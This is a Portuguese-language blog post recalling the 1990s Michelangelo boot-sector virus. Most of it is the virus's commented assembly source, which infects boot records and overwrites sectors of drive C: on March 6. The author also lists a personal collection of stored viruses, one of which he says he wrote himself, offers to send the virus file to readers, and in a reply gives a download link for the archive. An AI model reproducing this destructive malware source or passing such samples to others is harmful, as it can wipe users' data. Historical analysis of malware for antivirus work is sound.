Vírus Michelangelo

Durante a pesquisa que fiz para escrever o artigo sobre o Stuxnet, lembrei de um vírus que, na sua época (anos 90) fez muito "sucesso": o Michelangelo.


Ele contaminava os computadores através do setor de boot de um disquete infectado. E se, por acaso, você estivesse num computador contaminado e fosse dia 6 de março (aniversário de nascimento de Michelangelo), era melhor torcer para seu backup estar em dia.


Para quem gosta do assunto, aqui eu tenho a tradução de um artigo por Laércio Civali (São Paulo, Maio, 15, 1993.), da PC Magazine Vol.12, #6, March 30, 1993, page 311, do original: Viruses: How They Work and How to Avoid Them, by Jeff Prosise. O artigo, apesar de ter quase 20 anos, mostra com detalhes como o vírus se propaga. Como já devem imaginar, é bem técnico.

Agora vem a parte boa: o código (assembler) comentado (por mim) do vírus.

JMP     Contamina

Principal:
   CMC
   ADD     [BX+SI+029F],AL
   ADD     AX,[BX+SI]

Loop1:
   POP     DI
   MOV     AX,[F000]
   PUSH    DS
   PUSH    AX
   OR      DL,DL
   JNZ     012F
   XOR     AX,AX
   MOV     DS,AX
   TEST    BYTE PTR [043F],01 ; algum drive esta ligado?
   JNZ     Loop2              ; nao
   POP     AX
   POP     DS
   PUSHF
   CS:
   CALL    Loop1
   PUSHF
   CALL    Salva
   POPF
   RETF    0002

Loop2:
   POP     AX
   POP     DS
   CS:
   JMP     Loop1

Salva:
   PUSH    AX
   PUSH    BX
   PUSH    CX
   PUSH    DX
   PUSH    DS
   PUSH    ES
   PUSH    SI
   PUSH    DI
   PUSH    CS
   POP     DS
   PUSH    CS
   POP     ES
   MOV     SI,0004

PreparaSetor1:
   MOV     AX,0201
   MOV     BX,0200
   MOV     CX,0001
   XOR     DX,DX
   PUSHF
   CALL    Loop1
   JNB     Label1
   XOR     AX,AX
   PUSHF
   CALL    Loop1
   DEC     SI
   JNZ     PreparaSetor1
   JMP     Restaura

Label1:
   XOR     SI,SI
   CLD
   LODSW
   CMP     AX,[BX]
   JNZ     Label2
   LODSW
   CMP     AX,[BX+02]
   JZ      Restaura

Label2:
   MOV     AX,0301
   MOV     DH,01
   MOV     CL,03
   CMP     BYTE PTR [BX+15],FD
   JZ      Label3
   MOV     CL,0E

Label3:
   MOV     [0008],CX
   PUSHF
   CALL    Loop1
   JB      Restaura
   MOV     SI,03BE
   MOV     DI,01BE
   MOV     CX,0021
   CLD
   REPZ
   MOVSW
   MOV     AX,0301
   XOR     BX,BX
   MOV     CX,0001
   XOR     DX,DX
   PUSHF
   CALL    Loop1

Restaura:
   POP     DI
   POP     SI
   POP     ES
   POP     DS
   POP     DX
   POP     CX
   POP     BX
   POP     AX
   RET

Contamina:
   XOR     AX,AX
   MOV     DS,AX
   CLI
   MOV     SS,AX
   MOV     AX,7C00
   MOV     SP,AX
   STI
   PUSH    DS
   PUSH    AX
   MOV     AX,[004C]
   MOV     [7C0A],AX
   MOV     AX,[004E]
   MOV     [7C0C],AX
   MOV     AX,[0413]   ; tamanho da memoria
   DEC     AX          ; subtrai 2K
   DEC     AX
   MOV     [0413],AX
   MOV     CL,06
   SHL     AX,CL
   MOV     ES,AX
   MOV     [7C05],AX
   MOV     AX,000E
   MOV     [004C],AX
   MOV     [004E],ES
   MOV     CX,01BE
   MOV     SI,7C00
   XOR     DI,DI
   CLD
   REPZ
   MOVSB
   CS:
   JMP     Principal

Label4:
   XOR     AX,AX
   MOV     ES,AX
   INT     13
   PUSH    CS
   POP     DS
   MOV     AX,0201
   MOV     BX,7C00
   MOV     CX,[0008]
   CMP     CX,+07
   JNZ     Label5
   MOV     DX,0080
   INT     13
   JMP     Aniversario

Label5:
   MOV     CX,[0008]
   MOV     DX,0100
   INT     13
   JB      Aniversario
   PUSH    CS
   POP     ES
   MOV     AX,0201
   MOV     BX,0200
   MOV     CX,0001
   MOV     DX,0080
   INT     13
   JB      Aniversario
   XOR     SI,SI
   CLD
   LODSW
   CMP     AX,[BX]
   JNZ     Label10
   LODSW
   CMP     AX,[BX+02]
   JNZ     Label10

; verifica se a data e 06 de marco
Aniversario:
   XOR     CX,CX
   MOV     AH,04
   INT     1A
   CMP     DX,0306
   JZ      Label6
   RETF

; contamina o drive C:
Label6:
   XOR     DX,DX
   MOV     CX,0001      ; trilha 0, setor 1 (RMB)

Label7:
   MOV     AX,0309      ; escrever 9 setores
   MOV     SI,[0008]
   CMP     SI,+03
   JZ      Label8
   MOV     AL,0E
   CMP     SI,+0E
   JZ      Label8
   MOV     DL,80        ; drive C:
   MOV     BYTE PTR [0007],04
   MOV     AL,11        ; 17 setores

Label8:
   MOV     BX,5000      ; endereco do buffer
   MOV     ES,BX
   INT     13
   JNB     Label9
   XOR     AH,AH
   INT     13

Label9:
   INC     DH
   CMP     DH,[0007]    ; escreveu nos 7 primeiros setores?
   JB      Label7         ; nao, continua
   XOR     DH,DH
   INC     CH           ; incrementa a trilha
   JMP     Label7

Label10:
   MOV     CX,0007
   MOV     [0008],CX
   MOV     AX,0301
   MOV     DX,0080
   INT     13
   JB      Aniversario
   MOV     SI,03BE
   MOV     DI,01BE
   MOV     CX,0021
   REPZ
   MOVSW
   MOV     AX,0301
   XOR     BX,BX
   INC     CL
   INT     13
   JMP     Aniversario

Pensei em colocar uma cópia do vírus para download, mas acho que não seria muito bem visto. Enfim, se alguém quiser é só avisar que envio o arquivo com o vírus. Aliás, tenho alguns vírus armazenados em arquivo, uma verdadeira incubadora:

  • ANTICMOS
  • ANTIEXE
  • Backdoor-G2.ldr (Pbrush.exe)
  • Butthead (de minha própria autoria)
  • Bye
  • Daniela
  • Leandro & Kelly
  • Lizard
  • MDMA
  • Pretty Park - (Files32.vxd)
  • QUOX
  • Unshammed
  • VLAD
  • WAZZU
  • win32mtx
  • wininit
Pelo que lembro, alguns são arquivos contaminados, mas a maioria é código do vírus extraído direto do setor de boot ou do arquivo contaminado.

Alguns colecionam selos, outros tampinhas de garrafas, eu coleciono vírus! Na realidade eu tenho essa coleção de vírus pois estava desenvolvendo um antivírus e precisava analisar o código para encontrar a assinatura de cada um deles. Mas não deu para competir com a McAfee e o Norton, que eram os melhores (únicos?) antivírus na época. Se bem que o meu antivírus identificava todos esses aí...

Comentários

  1. Gostaria que o senhor me enviasse pois sou um pesquisador nesse ramo e gostaria de entender melhor esse código de máquina

    ResponderExcluir
    Respostas
    1. Olá Diego. Vou verificar se ainda tenho o código nos meus backups e lhe dou um retorno.

      Excluir
    2. Veja se consegue baixar: https://sites.google.com/site/alexsetta/blog/mich.rar?attredirects=0&d=1

      Excluir

Postar um comentário

Postagens mais visitadas deste blog

Netflix não mostra ícone de streaming

Concorrência com GO

Problema ao transferir arquivos grandes via FTP